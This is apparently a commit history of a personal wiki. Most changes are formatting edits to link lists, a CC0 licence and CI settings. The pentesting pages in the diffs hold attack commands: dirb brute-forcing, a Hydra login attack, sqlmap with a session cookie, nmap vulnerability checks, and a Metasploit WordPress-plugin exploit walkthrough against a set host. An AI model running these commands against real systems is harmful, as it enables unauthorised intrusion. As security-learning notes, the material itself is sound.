+-   [Three quick tips from two years with Celery](https://medium.com/@taylorhughes/three-quick-tips-from-two-years-with-celery-c05ff9d7f9eb) by **Taylor Hughes**
updated programming/python/pandas.md
Show More Show Less

 
 ## Notes
 
-* [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
+-   [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
 
 ## Snippets
 
 from slugify import slugify
 
 df.columns = [slugify(c, separator="_", to_lower=True) for c in df.columns]
 ```
-
updated programming/static-websites.md
Show More Show Less

 # Static Website Generators
 
 I keep a list of [Static Website Generators on GitHub](https://github.com/myles/awesome-static-generators/blob/master/README.md).
-
added setup/ios.md
Show More Show Less

+# iOS Applications
+
+Applications that I am currently using on [iOS](ios/README.md).
+
+## [Working Copy](https://workingcopyapp.com/)
+
+A GUI Git client for iOS I use to edit and deploy different Git repositories.
added setup/windows.md
Show More Show Less

+# Microsoft Windows Setup
updated text-editors/README.md
Show More Show Less

 # Text Editors
 
-* [Visual Studio Code](vscode.md)
-
+-   [Visual Studio Code](vscode.md)
updated text-editors/vscode.md
Show More Show Less

 
 ## Links
 
-* [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/programming/jupyter-notebook.md).
-
+-   [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/programming/jupyter-notebook.md).
added unix/README.md
Show More Show Less

+# Terminal
+
+## Applications
+
+-   [terminalizer](https://github.com/faressoft/terminalizer) - Record your terminal and generate animated gif images.
Oct, 06 2018

add a new page

updated .bookignore
Show More Show Less

-.bookignore
-.gitignore
-.remarkrc
 .travis.yml
 netlify.toml
 package-lock.json
 package.json
-renovate.json
deleted .remarkrc
updated .travis.yml
Show More Show Less

 language: node_js
-node_js: "4"
-script: npm run-script build
-after_success: npm run-script lint
+script: npm run-script lint
+
deleted LICENSE.md
updated README.md
Show More Show Less

 
 👋, welcome to my personal wiki where I try and share everything I research and know about a variety of topics.
 
-* * *
+---
 
 [![](https://i.creativecommons.org/l/by/4.0/88x31.png "Creative Commons Licence")](https://wiki.mylesb.ca/meta/license.html "Creative Commons Attribution 4.0 International License")
 This work is licensed under a [Creative Commons Attribution 4.0 International License](http://creativecommons.org/licenses/by/4.0/).
updated SUMMARY.md
Show More Show Less

 # Table of contents
 
--   [Introduction](README.md)
--   [Meta](meta/README.md)
-    -   [License](LICENSE.md)
--   [Setup](setup/README.md)
--   [Android](android/README.md)
-    -   [Fire OS](android/fire-os.md)
--   [Computer Science](comp-sci/README.md)
-    -   [AI](comp-sci/ai.md)
--   [Databases](databases/README.md)
-    -   [Postgres](databases/postgres.md)
--   [Pentesting](pentesting/README.md)
-    -   [nmap Cheat Sheet](pentesting/nmap.md)
-    -   [WordPress](pentesting/wordpress.md)
--   [Programming](programming/README.md)
-    -   [CSS](programming/css.md)
-    -   [Go](programming/go.md)
-    -   [Python](programming/python/README.md)
-        -   [Celery](programming/python/celery.md)
-        -   [Pandas](programming/python/pandas.md)
-    -   [Static Website Generators](programming/static-websites.md)
--   [Text Editors](text-editors/README.md)
-    -   [Visual Studio Code](text-editors/vscode.md)
--   [Lists](lists/README.md)
-    -   [Books](lists/books.md)
-    -   [Films](lists/films.md)
-    -   [TV Shows](lists/tv-shows.md)
--   [UNIX](unix/README.md)
+* [Myles' Wiki 📚](README.md)
+* [Meta](meta/README.md)
+  * [License](meta/license.md)
+* [Setup](setup.md)
+* [Android](android/README.md)
+  * [Fire OS](android/fire-os.md)
+* [Databases](databases/README.md)
+  * [Postgres](databases/postgres.md)
+* [Pentesting](pentesting/README.md)
+  * [nmap Cheat Sheet](pentesting/nmap.md)
+  * [WordPress](pentesting/wordpress.md)
+* [Programming](programming/README.md)
+  * [CSS](programming/css.md)
+  * [Python](programming/python/README.md)
+    * [Celery](programming/python/celery.md)
+    * [Pandas](programming/python/pandas.md)
+  * [Static Website Generators](programming/static-websites.md)
+* [Text Editors](text-editors/README.md)
+  * [Visual Studio Code](text-editors/vscode.md)
+
updated android/fire-os.md
Show More Show Less

 
 ## Links
 
--   [How to install the Google Play Store on an Android Fire Tablet](https://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/)
+* [How to install the Google Play Store on an Android Fire Tablet](https://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/)
+
updated databases/postgres.md
Show More Show Less

 
 ## Links
 
--   [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
--   [Better Date Manipulation in Postgres Queries](https://robots.thoughtbot.com/better-date-manipulation-in-postgres-queries) by Derrick Carr, 19 September 2017
+* [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
+* [Better Date Manipulation in Postgres Queries](https://robots.thoughtbot.com/better-date-manipulation-in-postgres-queries) by Derrick Carr, 19 September 2017
+
deleted lists/books.md
updated meta/README.md
Show More Show Less
 After seeing [Nikita Voloboev](https://nikitavoloboev.xyz/)'s [GitBook](https://
 ## How it's Built
 
 This wiki is built using [GitBook](https://github.com/GitbookIO/gitbook) and hosted on [Netlify](https://netlify.com/).
+
added meta/license.md
Show More Show Less

+# License
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER.
+
+## Statement of Purpose
+
+The laws of most jurisdictions throughout the world automatically confer exclusive Copyright and Related Rights \(defined below\) upon the creator and subsequent owner\(s\) \(each and all, an "owner"\) of an original work of authorship and/or a database \(each, a "Work"\).
+
+Certain owners wish to permanently relinquish those rights to a Work for the purpose of contributing to a commons of creative, cultural and scientific works \("Commons"\) that the public can reliably and without fear of later claims of infringement build upon, modify, incorporate in other works, reuse and redistribute as freely as possible in any form whatsoever and for any purposes, including without limitation commercial purposes. These owners may contribute to the Commons to promote the ideal of a free culture and the further production of creative, cultural and scientific works, or to gain reputation or greater distribution for their Work in part through the use and efforts of others.
+
+For these and/or other purposes and motivations, and without any expectation of additional consideration or compensation, the person associating CC0 with a Work \(the "Affirmer"\), to the extent that he or she is an owner of Copyright and Related Rights in the Work, voluntarily elects to apply CC0 to the Work and publicly distribute the Work under its terms, with knowledge of his or her Copyright and Related Rights in the Work and the meaning and intended legal effect of CC0 on those rights.
+
+1. **Copyright and Related Rights.** A Work made available under CC0 may be protected by copyright and related or neighboring rights \("Copyright and Related Rights"\). Copyright and Related Rights include, but are not limited to, the following:
+
+   i. the right to reproduce, adapt, distribute, perform, display, communicate, and translate a Work;
+
+   ii. moral rights retained by the original author\(s\) and/or performer\(s\);
+
+   iii. publicity and privacy rights pertaining to a person's image or likeness depicted in a Work;
+
+   iv. rights protecting against unfair competition in regards to a Work, subject to the limitations in paragraph 4\(a\), below;
+
+   v. rights protecting the extraction, dissemination, use and reuse of data in a Work;
+
+   vi. database rights \(such as those arising under Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, and under any national implementation thereof, including any amended or successor version of such directive\); and
+
+   vii. other similar, equivalent or corresponding rights throughout the world based on applicable law or treaty, and any national implementations thereof.
+
+2. **Waiver.** To the greatest extent permitted by, but not in contravention of, applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and unconditionally waives, abandons, and surrenders all of Affirmer's Copyright and Related Rights and associated claims and causes of action, whether now known or unknown \(including existing as well as future claims and causes of action\), in the Work \(i\) in all territories worldwide, \(ii\) for the maximum duration provided by applicable law or treaty \(including future time extensions\), \(iii\) in any current or future medium and for any number of copies, and \(iv\) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes \(the "Waiver"\). Affirmer makes the Waiver for the benefit of each member of the public at large and to the detriment of Affirmer's heirs and successors, fully intending that such Waiver shall not be subject to revocation, rescission, cancellation, termination, or any other legal or equitable action to disrupt the quiet enjoyment of the Work by the public as contemplated by Affirmer's express Statement of Purpose.
+3. **Public License Fallback.** Should any part of the Waiver for any reason be judged legally invalid or ineffective under applicable law, then the Waiver shall be preserved to the maximum extent permitted taking into account Affirmer's express Statement of Purpose. In addition, to the extent the Waiver is so judged Affirmer hereby grants to each affected person a royalty-free, non transferable, non sublicensable, non exclusive, irrevocable and unconditional license to exercise Affirmer's Copyright and Related Rights in the Work \(i\) in all territories worldwide, \(ii\) for the maximum duration provided by applicable law or treaty \(including future time extensions\), \(iii\) in any current or future medium and for any number of copies, and \(iv\) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes \(the "License"\). The License shall be deemed effective as of the date CC0 was applied by Affirmer to the Work. Should any part of the License for any reason be judged legally invalid or ineffective under applicable law, such partial invalidity or ineffectiveness shall not invalidate the remainder of the License, and in such case Affirmer hereby affirms that he or she will not \(i\) exercise any of his or her remaining Copyright and Related Rights in the Work or \(ii\) assert any associated claims and causes of action with respect to the Work, in either case contrary to Affirmer's express Statement of Purpose.
+4. **Limitations and Disclaimers.**
+
+   a. No trademark or patent rights held by Affirmer are waived, abandoned, surrendered, licensed or otherwise affected by this document.
+
+   b. Affirmer offers the Work as-is and makes no representations or warranties of any kind concerning the Work, express, implied, statutory or otherwise, including without limitation warranties of title, merchantability, fitness for a particular purpose, non infringement, or the absence of latent or other defects, accuracy, or the present or absence of errors, whether or not discoverable, all to the greatest extent permissible under applicable law.
+
+   c. Affirmer disclaims responsibility for clearing rights of other persons that may apply to the Work or any use thereof, including without limitation any person's Copyright and Related Rights in the Work. Further, Affirmer disclaims responsibility for obtaining any necessary consents, permissions or other rights required for any use of the Work.
+
+   d. Affirmer understands and acknowledges that Creative Commons is not a party to this document and has no duty or obligation with respect to this CC0 or use of the Work.
+
updated netlify.toml
Show More Show Less
 ID = "myles-wiki"
 [build]
   publish = "_book/"
   command = "npm run-script build"
+
updated pentesting/README.md
Show More Show Less

 
 ## Links
 
--   [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
--   [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
--   [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
+* [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
+* [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
+* [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
 
 ## Useful Commands
 
 dirb http://192.168.0.104/ /usr/share/wordlists/dirb/big.txt
 
 #### Resources
 
--   
--   
+* [http://tools.kali.org/web-applications/dirb](http://tools.kali.org/web-applications/dirb)
+* [https://github.com/seifreed/dirb](https://github.com/seifreed/dirb)
 
 ### gobuster
 
 Directory/file & DNS busting tool written in Go.
 
 #### Resources
 
--   
+* [https://github.com/OJ/gobuster](https://github.com/OJ/gobuster)
 
 ### Hydra
 
 hydra 192.168.0.104 http-post-form '/imfadministrator/index.php:user=^USER^&pass
 
 #### Resources
 
--   
--   
--   
+* [http://tools.kali.org/password-attacks/hydra/](http://tools.kali.org/password-attacks/hydra/)
+* [https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/](https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/)
+* [http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html](http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html)
 
 ### sqlmap
 
 When having to log into an PHPSESSIONID auth:
 ```text
 sqlmap -u http://192.168.0.104/imfadministrator/cms.php?pagename=upload --banner --cookie="PHPSESSID=m0i2uapvsqlklug2tpe2a8cis2; security=low" -f
 ```
+
updated pentesting/nmap.md
Show More Show Less
 Display Netbios name:
 nmap -sU --script nbstat.nse -p 137 target
 ```
 
-Check if Netbios servers are vulnerable to MS08-067 (`--script-args=unsafe=1` has the potential to crash servers / services).
+Check if Netbios servers are vulnerable to MS08-067 \(`--script-args=unsafe=1` has the potential to crash servers / services\).
 
 ## Nikto Scan
 
 Scans for http/https servers on port 80, 443 and pipes into Nikto for scanning:
 ```bash
 nmap -p80,443 10.0.1.0/24 -oG - | nikto.pl -h -
 ```
+
updated pentesting/wordpress.md
Show More Show Less
 msf > db_nmap -v -sV 192.168.111.xxx
 
 ### Scan an Entire Network
 
--   This will save the results to the metasploit database
+* This will save the results to the metasploit database
 
 ```bash
 msf > nmap -v -sV 192.168.111.0/24 -oA subnet_1
 ```
 
--   `hosts` will list all the hosts found by `nmap`.
--   `hosts -R` will add them to the list of hosts to exploit.
+* `hosts` will list all the hosts found by `nmap`.
+* `hosts -R` will add them to the list of hosts to exploit.
 
 ## Searching for a WordPress Vulnerability
 
 msf > search name:wordpress
 
 ## Use an Exploit
 
--   This will select an exploit to use:
+* This will select an exploit to use:
 
 ```bash
 msf > use exploit/unix/webapp/wp_wysija_newsletters_upload
 ```
 
--   This will show you the attacks that the exploit will take advantage of:
+* This will show you the attacks that the exploit will take advantage of:
 
 ```bash
 msf exploit(wp_wysija_newsletters_upload) > show payloads
 msf exploit(wp_wysija_newsletters_upload) > show payloads
 
 ![pentest-env-kali-rolling\_\_Running\_.png](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/pentesting/resources/67A7D5964C96C63BA11EEA707CB4A604.png)
 
--   This will show what software and version will be targeted:
+* This will show what software and version will be targeted:
 
 ```bash
 msf exploit(wp_wysija_newsletters_upload) > show targets
 Exploit target:
     0   wysija-newsletters < 2.6.8
 ```
 
--   Here is where we set all the options:
+* Here is where we set all the options:
 
 ```bash
 msf exploit(wp_wysija_newsletters_upload) > set RHOST 159.203.19.77
 msf exploit(wp_wysija_newsletters_upload) > set VHOST myles.life
 ```bash
 msf exploit(wp_wysija_newsletters_upload) > exploit
 ```
+
updated programming/README.md
Show More Show Less

 # Programming
+
+
+
updated programming/css.md
Show More Show Less

 
 ## Link
 
--   [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
--   [sass selectors: to nest or not to nest?](http://bradfrost.com/blog/post/sass-selectors-to-nest-or-not-to-nest/) by Brad Frost
+* [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
+
added programming/methodology.md
Show More Show Less

+# Methodology
+
+## Links
+
+-   [How to deliver on machine learning projects](https://blog.insightdatascience.com/how-to-deliver-on-machine-learning-projects-c8d82ce642b0)
\ No newline at end of file
updated programming/python/README.md
Show More Show Less

 
 ## Links
 
--   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
+* [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
+
updated programming/python/celery.md
Show More Show Less

 
 ## Links
 
--   [Three quick tips from two years with Celery](https://medium.com/@taylorhughes/three-quick-tips-from-two-years-with-celery-c05ff9d7f9eb) by **Taylor Hughes**
+* [Three quick tips from two years with Celery](https://medium.com/@taylorhughes/three-quick-tips-from-two-years-with-celery-c05ff9d7f9eb) by **Taylor Hughes**
+
updated programming/python/pandas.md
Show More Show Less

 
 ## Notes
 
--   [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
+* [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
 
 ## Snippets
 
 from slugify import slugify
 
 df.columns = [slugify(c, separator="_", to_lower=True) for c in df.columns]
 ```
+
updated programming/static-websites.md
Show More Show Less

 # Static Website Generators
 
 I keep a list of [Static Website Generators on GitHub](https://github.com/myles/awesome-static-generators/blob/master/README.md).
+
deleted setup/ios.md
deleted setup/macos.md
updated text-editors/README.md
Show More Show Less

 # Text Editors
 
--   [Visual Studio Code](vscode.md)
+* [Visual Studio Code](vscode.md)
+
updated text-editors/vscode.md
Show More Show Less

 
 ## Links
 
--   [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/programming/jupyter-notebook.md).
+* [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/programming/jupyter-notebook.md).
+
deleted unix/README.md
Oct, 05 2018
updated programming/css.md
Show More Show Less

 ## Link
 
 -   [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
+-   [sass selectors: to nest or not to nest?](http://bradfrost.com/blog/post/sass-selectors-to-nest-or-not-to-nest/) by Brad Frost
Oct, 05 2018

:sparkles: Add two Go books.

updated programming/go.md
Show More Show Less

 # Go
 
+## Books
+
+-   [Writing An Interpreter In Go](https://interpreterbook.com/) by Thorsten Ball
+-   [Writing A Compiler in Go](https://compilerbook.com/) by Thorsten Ball
+
 ## Libraries
 
 -   [Ferret](https://github.com/MontFerret/ferret) - `ferret` is a web scraping system aiming to simplify data extraction from the web for such things like UI testing, machine learning, and analytics.
Oct, 05 2018

:sparkles: Add some new pages.

updated .remarkrc
Show More Show Less

 {
   "plugins": [
     "preset-lint-recommended",
-    "lint-no-dead-urls",
     "validate-links"
   ]
 }
updated SUMMARY.md
Show More Show Less

 -   [Introduction](README.md)
 -   [Meta](meta/README.md)
     -   [License](LICENSE.md)
--   [Setup](setup.md)
+-   [Setup](setup/README.md)
 -   [Android](android/README.md)
     -   [Fire OS](android/fire-os.md)
 -   [Computer Science](comp-sci/README.md)

     -   [Books](lists/books.md)
     -   [Films](lists/films.md)
     -   [TV Shows](lists/tv-shows.md)
+-   [UNIX](unix/README.md)
updated netlify.toml
Show More Show Less
 ID = "myles-wiki"
 [build]
   publish = "_book/"
   command = "npm run-script build"
-
added setup/ios.md
Show More Show Less

+# iOS Applications
+
+Applications that I am currently using on [iOS](ios/README.md).
+
+## [Working Copy](https://workingcopyapp.com/)
+
+A GUI Git client for iOS I use to edit and deploy different Git repositories.
added setup/windows.md
Show More Show Less

+# Microsoft Windows Setup
Oct, 04 2018

:construction_worker: Moving to node 4 to see if that fixes CI.

updated .travis.yml
Show More Show Less

 language: node_js
-node_js: '7'
+node_js: "4"
 script: npm run-script build
 after_success: npm run-script lint
Oct, 04 2018

gi

updated .travis.yml
Show More Show Less

 language: node_js
+node_js: '7'
 script: npm run-script build
 after_success: npm run-script lint
Oct, 04 2018

:construction_worker: Build then lint test.

updated .travis.yml
Show More Show Less

 language: node_js
-script:
-  - npm run-script lint
-  - npm run-script build
-
+script: npm run-script build
+after_success: npm run-script lint
Oct, 04 2018

:construction_worker: Build the system for extra test.

updated .travis.yml
Show More Show Less

 language: node_js
-script: npm run-script lint
+script:
+  - npm run-script lint
+  - npm run-script build
 
Oct, 04 2018
updated .remarkrc
Show More Show Less

 {
   "plugins": [
-    "preset-lint-recommended"
+    "preset-lint-recommended",
+    "lint-no-dead-urls",
+    "validate-links"
   ]
 }
Oct, 03 2018

:sparkles: Add a new Go library.

updated programming/go.md
Show More Show Less

 # Go
 
+## Libraries
+
+-   [Ferret](https://github.com/MontFerret/ferret) - `ferret` is a web scraping system aiming to simplify data extraction from the web for such things like UI testing, machine learning, and analytics.
+
 ## Links
 
 -   [Building Web Apps with Go!](https://codegangsta.gitbooks.io/building-web-apps-with-go/content/)
Oct, 03 2018

:construction: Did some stuff.

updated .bookignore
Show More Show Less

+.bookignore
+.gitignore
+.remarkrc
 .travis.yml
 netlify.toml
 package-lock.json
 package.json
+renovate.json
updated SUMMARY.md
Show More Show Less

     -   [Static Website Generators](programming/static-websites.md)
 -   [Text Editors](text-editors/README.md)
     -   [Visual Studio Code](text-editors/vscode.md)
+-   [Lists](lists/README.md)
+    -   [Books](lists/books.md)
+    -   [Films](lists/films.md)
+    -   [TV Shows](lists/tv-shows.md)
added lists/books.md
Show More Show Less

+# Books to Read 📖
+
+-   [ ] [It Doesn't Have to Be Crazy at Work](https://basecamp.com/books/calm) by Jason Fried and David Heinemeier Hansson.
Oct, 03 2018

Update SUMMARY.md

updated SUMMARY.md
Show More Show Less

 -   [Setup](setup.md)
 -   [Android](android/README.md)
     -   [Fire OS](android/fire-os.md)
+-   [Computer Science](comp-sci/README.md)
+    -   [AI](comp-sci/ai.md)
 -   [Databases](databases/README.md)
     -   [Postgres](databases/postgres.md)
 -   [Pentesting](pentesting/README.md)
     -   [nmap Cheat Sheet](pentesting/nmap.md)
     -   [WordPress](pentesting/wordpress.md)
--   [Computer Science](programming/README.md)
+-   [Programming](programming/README.md)
     -   [CSS](programming/css.md)
     -   [Go](programming/go.md)
     -   [Python](programming/python/README.md)
Oct, 03 2018

Update README.md

updated comp-sci/README.md
Show More Show Less

-# Programming
+# Computer Science
Oct, 03 2018

Update setup.md

updated setup.md
Show More Show Less

-* * *
-
-## description: 'The list of the applications, tools, and services that I''m currently using.'
-
 # Setup
 
+A list of the applications, tools, and services that I''m currently using.
+
 ## Applications
 
 ### [Bear](https://bear.app/)
Oct, 03 2018

Create README.md

added terminal/README.md
Show More Show Less

+# Terminal
+
+## Applications
+
+-   [terminalizer](https://github.com/faressoft/terminalizer) - Record your terminal and generate animated gif images.
Oct, 03 2018

:rotating_light: Fix some linter issues.

added LICENSE.md
Show More Show Less

+# License
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER.
+
+## Statement of Purpose
+
+The laws of most jurisdictions throughout the world automatically confer exclusive Copyright and Related Rights (defined below) upon the creator and subsequent owner(s) (each and all, an "owner") of an original work of authorship and/or a database (each, a "Work").
+
+Certain owners wish to permanently relinquish those rights to a Work for the purpose of contributing to a commons of creative, cultural and scientific works ("Commons") that the public can reliably and without fear of later claims of infringement build upon, modify, incorporate in other works, reuse and redistribute as freely as possible in any form whatsoever and for any purposes, including without limitation commercial purposes. These owners may contribute to the Commons to promote the ideal of a free culture and the further production of creative, cultural and scientific works, or to gain reputation or greater distribution for their Work in part through the use and efforts of others.
+
+For these and/or other purposes and motivations, and without any expectation of additional consideration or compensation, the person associating CC0 with a Work (the "Affirmer"), to the extent that he or she is an owner of Copyright and Related Rights in the Work, voluntarily elects to apply CC0 to the Work and publicly distribute the Work under its terms, with knowledge of his or her Copyright and Related Rights in the Work and the meaning and intended legal effect of CC0 on those rights.
+
+1.  **Copyright and Related Rights.** A Work made available under CC0 may be protected by copyright and related or neighboring rights ("Copyright and Related Rights"). Copyright and Related Rights include, but are not limited to, the following:
+
+    i. the right to reproduce, adapt, distribute, perform, display, communicate, and translate a Work;
+
+    ii. moral rights retained by the original author(s) and/or performer(s);
+
+    iii. publicity and privacy rights pertaining to a person's image or likeness depicted in a Work;
+
+    iv. rights protecting against unfair competition in regards to a Work, subject to the limitations in paragraph 4(a), below;
+
+    v. rights protecting the extraction, dissemination, use and reuse of data in a Work;
+
+    vi. database rights (such as those arising under Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, and under any national implementation thereof, including any amended or successor version of such directive); and
+
+    vii. other similar, equivalent or corresponding rights throughout the world based on applicable law or treaty, and any national implementations thereof.
+
+2.  **Waiver.** To the greatest extent permitted by, but not in contravention of, applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and unconditionally waives, abandons, and surrenders all of Affirmer's Copyright and Related Rights and associated claims and causes of action, whether now known or unknown (including existing as well as future claims and causes of action), in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each member of the public at large and to the detriment of Affirmer's heirs and successors, fully intending that such Waiver shall not be subject to revocation, rescission, cancellation, termination, or any other legal or equitable action to disrupt the quiet enjoyment of the Work by the public as contemplated by Affirmer's express Statement of Purpose.
+3.  **Public License Fallback.** Should any part of the Waiver for any reason be judged legally invalid or ineffective under applicable law, then the Waiver shall be preserved to the maximum extent permitted taking into account Affirmer's express Statement of Purpose. In addition, to the extent the Waiver is so judged Affirmer hereby grants to each affected person a royalty-free, non transferable, non sublicensable, non exclusive, irrevocable and unconditional license to exercise Affirmer's Copyright and Related Rights in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "License"). The License shall be deemed effective as of the date CC0 was applied by Affirmer to the Work. Should any part of the License for any reason be judged legally invalid or ineffective under applicable law, such partial invalidity or ineffectiveness shall not invalidate the remainder of the License, and in such case Affirmer hereby affirms that he or she will not (i) exercise any of his or her remaining Copyright and Related Rights in the Work or (ii) assert any associated claims and causes of action with respect to the Work, in either case contrary to Affirmer's express Statement of Purpose.
+4.  **Limitations and Disclaimers.**
+
+    a. No trademark or patent rights held by Affirmer are waived, abandoned, surrendered, licensed or otherwise affected by this document.
+
+    b. Affirmer offers the Work as-is and makes no representations or warranties of any kind concerning the Work, express, implied, statutory or otherwise, including without limitation warranties of title, merchantability, fitness for a particular purpose, non infringement, or the absence of latent or other defects, accuracy, or the present or absence of errors, whether or not discoverable, all to the greatest extent permissible under applicable law.
+
+    c. Affirmer disclaims responsibility for clearing rights of other persons that may apply to the Work or any use thereof, including without limitation any person's Copyright and Related Rights in the Work. Further, Affirmer disclaims responsibility for obtaining any necessary consents, permissions or other rights required for any use of the Work.
+
+    d. Affirmer understands and acknowledges that Creative Commons is not a party to this document and has no duty or obligation with respect to this CC0 or use of the Work.
updated README.md
Show More Show Less

 
 👋, welcome to my personal wiki where I try and share everything I research and know about a variety of topics.
 
----
+* * *
 
 [![](https://i.creativecommons.org/l/by/4.0/88x31.png "Creative Commons Licence")](https://wiki.mylesb.ca/meta/license.html "Creative Commons Attribution 4.0 International License")
 This work is licensed under a [Creative Commons Attribution 4.0 International License](http://creativecommons.org/licenses/by/4.0/).
updated SUMMARY.md
Show More Show Less

 # Table of contents
 
-* [Myles' Wiki 📚](README.md)
-* [Meta](meta/README.md)
-  * [License](meta/license.md)
-* [Setup](setup.md)
-* [Android](android/README.md)
-  * [Fire OS](android/fire-os.md)
-* [Databases](databases/README.md)
-  * [Postgres](databases/postgres.md)
-* [Pentesting](pentesting/README.md)
-  * [nmap Cheat Sheet](pentesting/nmap.md)
-  * [WordPress](pentesting/wordpress.md)
-* [Computer Science](programming/README.md)
-  * [CSS](programming/css.md)
-  * [Python](programming/python/README.md)
-    * [Celery](programming/python/celery.md)
-    * [Pandas](programming/python/pandas.md)
-  * [Static Website Generators](programming/static-websites.md)
-* [Text Editors](text-editors/README.md)
-  * [Visual Studio Code](text-editors/vscode.md)
+-   [Introduction](README.md)
+-   [Meta](meta/README.md)
+    -   [License](LICENSE.md)
+-   [Setup](setup.md)
+-   [Android](android/README.md)
+    -   [Fire OS](android/fire-os.md)
+-   [Databases](databases/README.md)
+    -   [Postgres](databases/postgres.md)
+-   [Pentesting](pentesting/README.md)
+    -   [nmap Cheat Sheet](pentesting/nmap.md)
+    -   [WordPress](pentesting/wordpress.md)
+-   [Computer Science](programming/README.md)
+    -   [CSS](programming/css.md)
+    -   [Go](programming/go.md)
+    -   [Python](programming/python/README.md)
+        -   [Celery](programming/python/celery.md)
+        -   [Pandas](programming/python/pandas.md)
+    -   [Static Website Generators](programming/static-websites.md)
+-   [Text Editors](text-editors/README.md)
+    -   [Visual Studio Code](text-editors/vscode.md)
updated android/fire-os.md
Show More Show Less

 
 ## Links
 
-* [How to install the Google Play Store on an Android Fire Tablet](https://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/)
-
